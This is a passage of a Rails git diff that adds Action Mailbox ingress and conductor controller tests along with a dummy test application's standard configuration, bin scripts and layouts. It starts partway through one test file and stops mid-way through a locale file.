+  setup { ActionMailbox.ingress = :sendgrid }
+
+  test "receiving an inbound email from Sendgrid" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_sendgrid_inbound_emails_url,
+        headers: { authorization: credentials }, params: { email: file_fixture("../files/welcome.eml").read }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/welcome.eml").read, inbound_email.raw_email.download
+    assert_equal "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com", inbound_email.message_id
+  end
+
+  test "receiving an inbound email from Sendgrid with non UTF-8 characters" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_sendgrid_inbound_emails_url,
+           headers: { authorization: credentials }, params: { email: file_fixture("../files/invalid_utf.eml").read }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/invalid_utf.eml").binread, inbound_email.raw_email.download
+    assert_equal "05988AA6EC0D44318855A5E39E3B6F9E@jansterba.com", inbound_email.message_id
+  end
+
+  test "add X-Original-To to email from Sendgrid" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_sendgrid_inbound_emails_url,
+        headers: { authorization: credentials }, params: {
+          email: file_fixture("../files/welcome.eml").read,
+          envelope: "{\"to\":[\"replies@example.com\"],\"from\":\"jason@37signals.com\"}",
+        }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    mail = Mail.from_source(inbound_email.raw_email.download)
+    assert_equal "replies@example.com", mail.header["X-Original-To"].decoded
+  end
+
+  test "rejecting an unauthorized inbound email from Sendgrid" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      post rails_sendgrid_inbound_emails_url, params: { email: file_fixture("../files/welcome.eml").read }
+    end
+
+    assert_response :unauthorized
+  end
+
+  test "raising when the configured password is nil" do
+    switch_password_to nil do
+      assert_raises ArgumentError do
+        post rails_sendgrid_inbound_emails_url,
+          headers: { authorization: credentials }, params: { email: file_fixture("../files/welcome.eml").read }
+      end
+    end
+  end
+
+  test "raising when the configured password is blank" do
+    switch_password_to "" do
+      assert_raises ArgumentError do
+        post rails_sendgrid_inbound_emails_url,
+          headers: { authorization: credentials }, params: { email: file_fixture("../files/welcome.eml").read }
+      end
+    end
+  end
+end
diff --git a/actionmailbox/test/controllers/rails/action_mailbox/inbound_emails_controller_test.rb b/actionmailbox/test/controllers/rails/action_mailbox/inbound_emails_controller_test.rb
new file mode 100644
index 0000000000000..83c9e90dd5671
--- /dev/null
+++ b/actionmailbox/test/controllers/rails/action_mailbox/inbound_emails_controller_test.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class Rails::Conductor::ActionMailbox::InboundEmailsControllerTest < ActionDispatch::IntegrationTest
+  test "create inbound email" do
+    with_rails_env("development") do
+      assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+        post rails_conductor_inbound_emails_path, params: {
+          mail: {
+            from: "Jason Fried <jason@37signals.com>",
+            to: "Replies <replies@example.com>",
+            cc: "CC <cc@example.com>",
+            bcc: "Bcc <bcc@example.com>",
+            in_reply_to: "<4e6e35f5a38b4_479f13bb90078178@small-app-01.mail>",
+            subject: "Hey there",
+            body: "How's it going?"
+          }
+        }
+      end
+
+      mail = ActionMailbox::InboundEmail.last.mail
+      assert_equal %w[ jason@37signals.com ], mail.from
+      assert_equal %w[ replies@example.com ], mail.to
+      assert_equal %w[ cc@example.com ], mail.cc
+      assert_equal %w[ bcc@example.com ], mail.bcc
+      assert_equal "4e6e35f5a38b4_479f13bb90078178@small-app-01.mail", mail.in_reply_to
+      assert_equal "Hey there", mail.subject
+      assert_equal "How's it going?", mail.body.decoded
+    end
+  end
+
+  test "create inbound email with bcc" do
+    with_rails_env("development") do
+      assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+        post rails_conductor_inbound_emails_path, params: {
+          mail: {
+            from: "Jason Fried <jason@37signals.com>",
+            bcc: "Replies <replies@example.com>",
+            subject: "Hey there",
+            body: "How's it going?"
+          }
+        }
+      end
+
+      mail = ActionMailbox::InboundEmail.last.mail
+      assert_equal %w[ jason@37signals.com ], mail.from
+      assert_equal %w[ replies@example.com ], mail.bcc
+      assert_equal "Hey there", mail.subject
+      assert_equal "How's it going?", mail.body.decoded
+    end
+  end
+
+  test "create inbound email with attachments" do
+    with_rails_env("development") do
+      assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+        post rails_conductor_inbound_emails_path, params: {
+          mail: {
+            from: "Jason Fried <jason@37signals.com>",
+            to: "Replies <replies@example.com>",
+            subject: "Let's debate some attachments",
+            body: "Let's talk about these images:",
+            attachments: [ fixture_file_upload("avatar1.jpeg"), fixture_file_upload("avatar2.jpeg") ]
+          }
+        }
+      end
+
+      mail = ActionMailbox::InboundEmail.last.mail
+      assert_equal "Let's talk about these images:", mail.text_part.decoded
+      assert_equal 2, mail.attachments.count
+      assert_equal %w[ avatar1.jpeg avatar2.jpeg ], mail.attachments.collect(&:filename)
+    end
+  end
+
+  test "create inbound email with empty attachment" do
+    with_rails_env("development") do
+      assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+        post rails_conductor_inbound_emails_path, params: {
+          mail: {
+            from: "",
+            to: "",
+            cc: "",
+            bcc: "",
+            x_original_to: "",
+            subject: "",
+            in_reply_to: "",
+            body: "",
+            attachments: [ "" ],
+          }
+        }
+      end
+
+      mail = ActionMailbox::InboundEmail.last.mail
+      assert_equal 0, mail.attachments.count
+    end
+  end
+
+  private
+    def with_rails_env(env)
+      old_rails_env = Rails.env
+      Rails.env = env
+      yield
+    ensure
+      Rails.env = old_rails_env
+    end
+end
diff --git a/actionmailbox/test/dummy/Rakefile b/actionmailbox/test/dummy/Rakefile
new file mode 100644
index 0000000000000..9a5ea7383aa83
--- /dev/null
+++ b/actionmailbox/test/dummy/Rakefile
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require_relative "config/application"
+
+Rails.application.load_tasks
diff --git a/actionmailbox/test/dummy/app/assets/config/manifest.js b/actionmailbox/test/dummy/app/assets/config/manifest.js
new file mode 100644
index 0000000000000..591819335f0b2
--- /dev/null
+++ b/actionmailbox/test/dummy/app/assets/config/manifest.js
@@ -0,0 +1,2 @@
+//= link_tree ../images
+//= link_directory ../stylesheets .css
diff --git a/actionpack/test/tmp/.gitignore b/actionmailbox/test/dummy/app/assets/images/.keep
similarity index 100%
rename from actionpack/test/tmp/.gitignore
rename to actionmailbox/test/dummy/app/assets/images/.keep
diff --git a/actionmailbox/test/dummy/app/assets/stylesheets/application.css b/actionmailbox/test/dummy/app/assets/stylesheets/application.css
new file mode 100644
index 0000000000000..0ebd7fe8299eb
--- /dev/null
+++ b/actionmailbox/test/dummy/app/assets/stylesheets/application.css
@@ -0,0 +1,15 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or any plugin's vendor/assets/stylesheets directory can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS
+ * files in this directory. Styles in this file should be added after the last require_* statement.
+ * It is generally better to create a new file per style scope.
+ *
+ *= require_tree .
+ *= require_self
+ */
diff --git a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css b/actionmailbox/test/dummy/app/assets/stylesheets/scaffold.css
similarity index 100%
rename from railties/lib/rails/generators/rails/scaffold/templates/scaffold.css
rename to actionmailbox/test/dummy/app/assets/stylesheets/scaffold.css
diff --git a/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb b/actionmailbox/test/dummy/app/channels/application_cable/channel.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/channel.rb
rename to actionmailbox/test/dummy/app/channels/application_cable/channel.rb
diff --git a/railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb b/actionmailbox/test/dummy/app/channels/application_cable/connection.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/app/templates/app/channels/application_cable/connection.rb
rename to actionmailbox/test/dummy/app/channels/application_cable/connection.rb
diff --git a/actionmailbox/test/dummy/app/controllers/application_controller.rb b/actionmailbox/test/dummy/app/controllers/application_controller.rb
new file mode 100644
index 0000000000000..09705d12ab4df
--- /dev/null
+++ b/actionmailbox/test/dummy/app/controllers/application_controller.rb
@@ -0,0 +1,2 @@
+class ApplicationController < ActionController::Base
+end
diff --git a/actionview/test/tmp/.gitkeep b/actionmailbox/test/dummy/app/controllers/concerns/.keep
similarity index 100%
rename from actionview/test/tmp/.gitkeep
rename to actionmailbox/test/dummy/app/controllers/concerns/.keep
diff --git a/railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb b/actionmailbox/test/dummy/app/helpers/application_helper.rb
similarity index 100%
rename from railties/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb
rename to actionmailbox/test/dummy/app/helpers/application_helper.rb
diff --git a/activerecord/test/migrations/empty/.gitkeep b/actionmailbox/test/dummy/app/javascript/packs/application.js
similarity index 100%
rename from activerecord/test/migrations/empty/.gitkeep
rename to actionmailbox/test/dummy/app/javascript/packs/application.js
diff --git a/actionmailbox/test/dummy/app/jobs/application_job.rb b/actionmailbox/test/dummy/app/jobs/application_job.rb
new file mode 100644
index 0000000000000..d394c3d106230
--- /dev/null
+++ b/actionmailbox/test/dummy/app/jobs/application_job.rb
@@ -0,0 +1,7 @@
+class ApplicationJob < ActiveJob::Base
+  # Automatically retry jobs that encountered a deadlock
+  # retry_on ActiveRecord::Deadlocked
+
+  # Most jobs are safe to ignore if the underlying records are no longer available
+  # discard_on ActiveJob::DeserializationError
+end
diff --git a/actionmailbox/test/dummy/app/mailboxes/application_mailbox.rb b/actionmailbox/test/dummy/app/mailboxes/application_mailbox.rb
new file mode 100644
index 0000000000000..be51eb363999d
--- /dev/null
+++ b/actionmailbox/test/dummy/app/mailboxes/application_mailbox.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ApplicationMailbox < ActionMailbox::Base
+  # routing /something/i => :somewhere
+end
diff --git a/actionmailbox/test/dummy/app/mailboxes/messages_mailbox.rb b/actionmailbox/test/dummy/app/mailboxes/messages_mailbox.rb
new file mode 100644
index 0000000000000..1a046ee13d959
--- /dev/null
+++ b/actionmailbox/test/dummy/app/mailboxes/messages_mailbox.rb
@@ -0,0 +1,4 @@
+class MessagesMailbox < ApplicationMailbox
+  def process
+  end
+end
diff --git a/actionmailbox/test/dummy/app/mailers/application_mailer.rb b/actionmailbox/test/dummy/app/mailers/application_mailer.rb
new file mode 100644
index 0000000000000..3c34c8148f105
--- /dev/null
+++ b/actionmailbox/test/dummy/app/mailers/application_mailer.rb
@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout "mailer"
+end
diff --git a/actionmailbox/test/dummy/app/models/application_record.rb b/actionmailbox/test/dummy/app/models/application_record.rb
new file mode 100644
index 0000000000000..b63caeb8a5c4a
--- /dev/null
+++ b/actionmailbox/test/dummy/app/models/application_record.rb
@@ -0,0 +1,3 @@
+class ApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon-precomposed.png b/actionmailbox/test/dummy/app/models/concerns/.keep
similarity index 100%
rename from railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon-precomposed.png
rename to actionmailbox/test/dummy/app/models/concerns/.keep
diff --git a/actionmailbox/test/dummy/app/views/layouts/application.html.erb b/actionmailbox/test/dummy/app/views/layouts/application.html.erb
new file mode 100644
index 0000000000000..f72b4ef0e7316
--- /dev/null
+++ b/actionmailbox/test/dummy/app/views/layouts/application.html.erb
@@ -0,0 +1,15 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title>Dummy</title>
+    <meta name="viewport" content="width=device-width,initial-scale=1">
+    <%= csrf_meta_tags %>
+    <%= csp_meta_tag %>
+
+    <%= stylesheet_link_tag "application" %>
+  </head>
+
+  <body>
+    <%= yield %>
+  </body>
+</html>
diff --git a/actionmailbox/test/dummy/app/views/layouts/mailer.html.erb b/actionmailbox/test/dummy/app/views/layouts/mailer.html.erb
new file mode 100644
index 0000000000000..3aac9002edca7
--- /dev/null
+++ b/actionmailbox/test/dummy/app/views/layouts/mailer.html.erb
@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
+
+  <body>
+    <%= yield %>
+  </body>
+</html>
diff --git a/actionmailbox/test/dummy/app/views/layouts/mailer.text.erb b/actionmailbox/test/dummy/app/views/layouts/mailer.text.erb
new file mode 100644
index 0000000000000..37f0bddbd746b
--- /dev/null
+++ b/actionmailbox/test/dummy/app/views/layouts/mailer.text.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/actionmailbox/test/dummy/bin/rails b/actionmailbox/test/dummy/bin/rails
new file mode 100755
index 0000000000000..efc0377492f7e
--- /dev/null
+++ b/actionmailbox/test/dummy/bin/rails
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path("../config/application", __dir__)
+require_relative "../config/boot"
+require "rails/commands"
diff --git a/actionmailbox/test/dummy/bin/rake b/actionmailbox/test/dummy/bin/rake
new file mode 100755
index 0000000000000..4fbf10b960ef7
--- /dev/null
+++ b/actionmailbox/test/dummy/bin/rake
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+require_relative "../config/boot"
+require "rake"
+Rake.application.run
diff --git a/actionmailbox/test/dummy/bin/setup b/actionmailbox/test/dummy/bin/setup
new file mode 100755
index 0000000000000..3cd5a9d7801ca
--- /dev/null
+++ b/actionmailbox/test/dummy/bin/setup
@@ -0,0 +1,33 @@
+#!/usr/bin/env ruby
+require "fileutils"
+
+# path to your application root.
+APP_ROOT = File.expand_path("..", __dir__)
+
+def system!(*args)
+  system(*args, exception: true)
+end
+
+FileUtils.chdir APP_ROOT do
+  # This script is a way to set up or update your development environment automatically.
+  # This script is idempotent, so that you can run it at any time and get an expectable outcome.
+  # Add necessary setup steps to this file.
+
+  puts "== Installing dependencies =="
+  system! "gem install bundler --conservative"
+  system("bundle check") || system!("bundle install")
+
+  # puts "\n== Copying sample files =="
+  # unless File.exist?("config/database.yml")
+  #   FileUtils.cp "config/database.yml.sample", "config/database.yml"
+  # end
+
+  puts "\n== Preparing database =="
+  system! "bin/rails db:prepare"
+
+  puts "\n== Removing old logs and tempfiles =="
+  system! "bin/rails log:clear tmp:clear"
+
+  puts "\n== Restarting application server =="
+  system! "bin/rails restart"
+end
diff --git a/actionmailbox/test/dummy/config.ru b/actionmailbox/test/dummy/config.ru
new file mode 100644
index 0000000000000..4a3c09a6889a9
--- /dev/null
+++ b/actionmailbox/test/dummy/config.ru
@@ -0,0 +1,6 @@
+# This file is used by Rack-based servers to start the application.
+
+require_relative "config/environment"
+
+run Rails.application
+Rails.application.load_server
diff --git a/actionmailbox/test/dummy/config/application.rb b/actionmailbox/test/dummy/config/application.rb
new file mode 100644
index 0000000000000..8154f557052d9
--- /dev/null
+++ b/actionmailbox/test/dummy/config/application.rb
@@ -0,0 +1,27 @@
+require_relative "boot"
+
+require "rails/all"
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
+
+module Dummy
+  class Application < Rails::Application
+    config.load_defaults Rails::VERSION::STRING.to_f
+
+    # For compatibility with applications that use this config
+    config.action_controller.include_all_helpers = false
+
+    config.active_record.table_name_prefix = 'prefix_'
+    config.active_record.table_name_suffix = '_suffix'
+
+    # Configuration for the application, engines, and railties goes here.
+    #
+    # These settings can be overridden in specific environments using the files
+    # in config/environments, which are processed later.
+    #
+    # config.time_zone = "Central Time (US & Canada)"
+    # config.eager_load_paths << Rails.root.join("extras")
+  end
+end
diff --git a/actionmailbox/test/dummy/config/boot.rb b/actionmailbox/test/dummy/config/boot.rb
new file mode 100644
index 0000000000000..d5e0f0fdc80b8
--- /dev/null
+++ b/actionmailbox/test/dummy/config/boot.rb
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../../../../Gemfile", __dir__)
+
+require "bundler/setup" if File.exist?(ENV["BUNDLE_GEMFILE"])
+$LOAD_PATH.unshift File.expand_path("../../../lib", __dir__)
diff --git a/actionmailbox/test/dummy/config/cable.yml b/actionmailbox/test/dummy/config/cable.yml
new file mode 100644
index 0000000000000..98367f8954247
--- /dev/null
+++ b/actionmailbox/test/dummy/config/cable.yml
@@ -0,0 +1,10 @@
+development:
+  adapter: async
+
+test:
+  adapter: test
+
+production:
+  adapter: redis
+  url: <%= ENV.fetch("REDIS_URL") { "redis://localhost:6379/1" } %>
+  channel_prefix: dummy_production
diff --git a/actionmailbox/test/dummy/config/database.yml b/actionmailbox/test/dummy/config/database.yml
new file mode 100644
index 0000000000000..796466ba23eed
--- /dev/null
+++ b/actionmailbox/test/dummy/config/database.yml
@@ -0,0 +1,25 @@
+# SQLite. Versions 3.8.0 and up are supported.
+#   gem install sqlite3
+#
+#   Ensure the SQLite 3 gem is defined in your Gemfile
+#   gem "sqlite3"
+#
+default: &default
+  adapter: sqlite3
+  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  timeout: 5000
+
+development:
+  <<: *default
+  database: storage/development.sqlite3
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: storage/test.sqlite3
+
+production:
+  <<: *default
+  database: storage/production.sqlite3
diff --git a/actionmailbox/test/dummy/config/environment.rb b/actionmailbox/test/dummy/config/environment.rb
new file mode 100644
index 0000000000000..cac5315775258
--- /dev/null
+++ b/actionmailbox/test/dummy/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the Rails application.
+require_relative "application"
+
+# Initialize the Rails application.
+Rails.application.initialize!
diff --git a/actionmailbox/test/dummy/config/environments/development.rb b/actionmailbox/test/dummy/config/environments/development.rb
new file mode 100644
index 0000000000000..4d134bb530348
--- /dev/null
+++ b/actionmailbox/test/dummy/config/environments/development.rb
@@ -0,0 +1,73 @@
+require "active_support/core_ext/integer/time"
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # In the development environment your application's code is reloaded any time
+  # it changes. This slows down response time but is perfect for development
+  # since you don't have to restart the web server when you make code changes.
+  config.enable_reloading = true
+
+  # Do not eager load code on boot.
+  config.eager_load = false
+
+  # Show full error reports.
+  config.consider_all_requests_local = true
+
+  # Enable server timing
+  config.server_timing = true
+
+  # Enable/disable caching. By default caching is disabled.
+  # Run rails dev:cache to toggle caching.
+  if Rails.root.join("tmp/caching-dev.txt").exist?
+    config.action_controller.perform_caching = true
+    config.action_controller.enable_fragment_cache_logging = true
+
+    config.cache_store = :memory_store
+    config.public_file_server.headers = {
+      "Cache-Control" => "public, max-age=#{2.days.to_i}"
+    }
+  else
+    config.action_controller.perform_caching = false
+
+    config.cache_store = :null_store
+  end
+
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
+
+  # Don't care if the mailer can't send.
+  config.action_mailer.raise_delivery_errors = false
+
+  config.action_mailer.perform_caching = false
+
+  # Print deprecation notices to the Rails logger.
+  config.active_support.deprecation = :log
+
+  # Raise exceptions for disallowed deprecations.
+  config.active_support.disallowed_deprecation = :raise
+
+  # Tell Active Support which deprecation messages to disallow.
+  config.active_support.disallowed_deprecation_warnings = []
+
+  # Raise an error on page load if there are pending migrations.
+  config.active_record.migration_error = :page_load
+
+  # Highlight code that triggered database queries in logs.
+  config.active_record.verbose_query_logs = true
+
+  # Suppress logger output for asset requests.
+  config.assets.quiet = true
+
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
+
+  # Annotate rendered view with file names.
+  # config.action_view.annotate_rendered_view_with_filenames = true
+
+  # Uncomment if you wish to allow Action Cable access from any origin.
+  # config.action_cable.disable_request_forgery_protection = true
+
+  # Raise error when a before_action's only/except options reference missing actions
+  config.action_controller.raise_on_missing_callback_actions = true
+end
diff --git a/actionmailbox/test/dummy/config/environments/production.rb b/actionmailbox/test/dummy/config/environments/production.rb
new file mode 100644
index 0000000000000..999e332a7e2be
--- /dev/null
+++ b/actionmailbox/test/dummy/config/environments/production.rb
@@ -0,0 +1,89 @@
+require "active_support/core_ext/integer/time"
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # Code is not reloaded between requests.
+  config.enable_reloading = false
+
+  # Eager load code on boot. This eager loads most of Rails and
+  # your application in memory, allowing both threaded web servers
+  # and those relying on copy on write to perform better.
+  # Rake tasks automatically ignore this option for performance.
+  config.eager_load = true
+
+  # Full error reports are disabled and caching is turned on.
+  config.consider_all_requests_local       = false
+  config.action_controller.perform_caching = true
+
+  # Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
+  # or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
+  # config.require_master_key = true
+
+  # Disable serving static files from `public/`, relying on NGINX/Apache to do so instead.
+  # config.public_file_server.enabled = false
+
+  # Compress CSS using a preprocessor.
+  # config.assets.css_compressor = :sass
+
+  # Do not fall back to assets pipeline if a precompiled asset is missed.
+  config.assets.compile = false
+
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+  # config.asset_host = "http://assets.example.com"
+
+  # Specifies the header that your server uses for sending files.
+  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
+  # config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" # for NGINX
+
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
+
+  # Mount Action Cable outside main process or domain.
+  # config.action_cable.mount_path = nil
+  # config.action_cable.url = "wss://example.com/cable"
+  # config.action_cable.allowed_request_origins = [ "http://example.com", /http:\/\/example.*/ ]
+
+  # Assume all access to the app is happening through a SSL-terminating reverse proxy.
+  # Can be used together with config.force_ssl for Strict-Transport-Security and secure cookies.
+  # config.assume_ssl = true
+
+  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+  # config.force_ssl = true
+
+  # Log to STDOUT by default
+  config.logger = ActiveSupport::Logger.new(STDOUT)
+    .tap  { |logger| logger.formatter = ::Logger::Formatter.new }
+    .then { |logger| ActiveSupport::TaggedLogging.new(logger) }
+
+  # Prepend all log lines with the following tags.
+  config.log_tags = [ :request_id ]
+
+  # "info" includes generic and useful information about system operation, but avoids logging too much
+  # information to avoid inadvertent exposure of personally identifiable information (PII). Use "debug"
+  # for everything.
+  config.log_level = ENV.fetch("RAILS_LOG_LEVEL") { "info" }
+
+  # Use a different cache store in production.
+  # config.cache_store = :mem_cache_store
+
+  # Use a real queuing backend for Active Job (and separate queues per environment).
+  # config.active_job.queue_adapter     = :resque
+  # config.active_job.queue_name_prefix = "dummy_production"
+
+  config.action_mailer.perform_caching = false
+
+  # Ignore bad email addresses and do not raise email delivery errors.
+  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
+  # config.action_mailer.raise_delivery_errors = false
+
+  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+  # the I18n.default_locale when a translation cannot be found).
+  config.i18n.fallbacks = true
+
+  # Don't log any deprecations.
+  config.active_support.report_deprecations = false
+
+  # Do not dump schema after migrations.
+  config.active_record.dump_schema_after_migration = false
+end
diff --git a/actionmailbox/test/dummy/config/environments/test.rb b/actionmailbox/test/dummy/config/environments/test.rb
new file mode 100644
index 0000000000000..5b1b89421f004
--- /dev/null
+++ b/actionmailbox/test/dummy/config/environments/test.rb
@@ -0,0 +1,63 @@
+require "active_support/core_ext/integer/time"
+
+# The test environment is used exclusively to run your application's
+# test suite. You never need to work with it otherwise. Remember that
+# your test database is "scratch space" for the test suite and is wiped
+# and recreated between test runs. Don't rely on the data there!
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # While tests run files are not watched, reloading is not necessary.
+  config.enable_reloading = false
+
+  # Eager loading loads your entire application. When running a single test locally,
+  # this is usually not necessary, and can slow down your test suite. However, it's
+  # recommended that you enable it in continuous integration systems to ensure eager
+  # loading is working properly before deploying your code.
+  config.eager_load = ENV["CI"].present?
+
+  # Configure public file server for tests with Cache-Control for performance.
+  config.public_file_server.headers = {
+    "Cache-Control" => "public, max-age=#{1.hour.to_i}"
+  }
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+  config.cache_store = :null_store
+
+  # Raise exceptions instead of rendering exception templates.
+  config.action_dispatch.show_exceptions = :rescuable
+
+  # Disable request forgery protection in test environment.
+  config.action_controller.allow_forgery_protection = false
+
+  # Store uploaded files on the local file system in a temporary directory.
+  config.active_storage.service = :test
+
+  config.action_mailer.perform_caching = false
+
+  # Tell Action Mailer not to deliver emails to the real world.
+  # The :test delivery method accumulates sent emails in the
+  # ActionMailer::Base.deliveries array.
+  config.action_mailer.delivery_method = :test
+
+  # Print deprecation notices to the stderr.
+  config.active_support.deprecation = :stderr
+
+  # Raise exceptions for disallowed deprecations.
+  config.active_support.disallowed_deprecation = :raise
+
+  # Tell Active Support which deprecation messages to disallow.
+  config.active_support.disallowed_deprecation_warnings = []
+
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
+
+  # Annotate rendered view with file names.
+  # config.action_view.annotate_rendered_view_with_filenames = true
+
+  # Raise error when a before_action's only/except options reference missing actions
+  config.action_controller.raise_on_missing_callback_actions = true
+end
diff --git a/actionmailbox/test/dummy/config/initializers/assets.rb b/actionmailbox/test/dummy/config/initializers/assets.rb
new file mode 100644
index 0000000000000..2eeef966fe872
--- /dev/null
+++ b/actionmailbox/test/dummy/config/initializers/assets.rb
@@ -0,0 +1,12 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = "1.0"
+
+# Add additional assets to the asset load path.
+# Rails.application.config.assets.paths << Emoji.images_path
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in the app/assets
+# folder are already added.
+# Rails.application.config.assets.precompile += %w( admin.js admin.css )
diff --git a/actionmailbox/test/dummy/config/initializers/content_security_policy.rb b/actionmailbox/test/dummy/config/initializers/content_security_policy.rb
new file mode 100644
index 0000000000000..b3076b38fe143
--- /dev/null
+++ b/actionmailbox/test/dummy/config/initializers/content_security_policy.rb
@@ -0,0 +1,25 @@
+# Be sure to restart your server when you modify this file.
+
+# Define an application-wide content security policy.
+# See the Securing Rails Applications Guide for more information:
+# https://guides.rubyonrails.org/security.html#content-security-policy-header
+
+# Rails.application.configure do
+#   config.content_security_policy do |policy|
+#     policy.default_src :self, :https
+#     policy.font_src    :self, :https, :data
+#     policy.img_src     :self, :https, :data
+#     policy.object_src  :none
+#     policy.script_src  :self, :https
+#     policy.style_src   :self, :https
+#     # Specify URI for violation reports
+#     # policy.report_uri "/csp-violation-report-endpoint"
+#   end
+#
+#   # Generate session nonces for permitted importmap, inline scripts, and inline styles.
+#   config.content_security_policy_nonce_generator = ->(request) { request.session.id.to_s }
+#   config.content_security_policy_nonce_directives = %w(script-src style-src)
+#
+#   # Report violations without enforcing the policy.
+#   # config.content_security_policy_report_only = true
+# end
diff --git a/actionmailbox/test/dummy/config/initializers/filter_parameter_logging.rb b/actionmailbox/test/dummy/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000000000..adc6568ce8372
--- /dev/null
+++ b/actionmailbox/test/dummy/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,8 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure parameters to be filtered from the log file. Use this to limit dissemination of
+# sensitive information. See the ActiveSupport::ParameterFilter documentation for supported
+# notations and behaviors.
+Rails.application.config.filter_parameters += [
+  :passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn
+]
diff --git a/actionmailbox/test/dummy/config/initializers/inflections.rb b/actionmailbox/test/dummy/config/initializers/inflections.rb
new file mode 100644
index 0000000000000..3860f659ead02
--- /dev/null
+++ b/actionmailbox/test/dummy/config/initializers/inflections.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.plural /^(ox)$/i, "\\1en"
+#   inflect.singular /^(ox)en/i, "\\1"
+#   inflect.irregular "person", "people"
+#   inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.acronym "RESTful"
+# end
diff --git a/actionmailbox/test/dummy/config/locales/en.yml b/actionmailbox/test/dummy/config/locales/en.yml
new file mode 100644
index 0000000000000..6c349ae5e3743
--- /dev/null
+++ b/actionmailbox/test/dummy/config/locales/en.yml
@@ -0,0 +1,31 @@
+# Files in the config/locales directory are used for internationalization and
+# are automatically loaded by Rails. If you want to use locales other than
+# English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+#     I18n.t "hello"
+#
+# In views, this is aliased to just `t`:
+#
+#     <%= t("hello") %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+#     I18n.locale = :es
+#
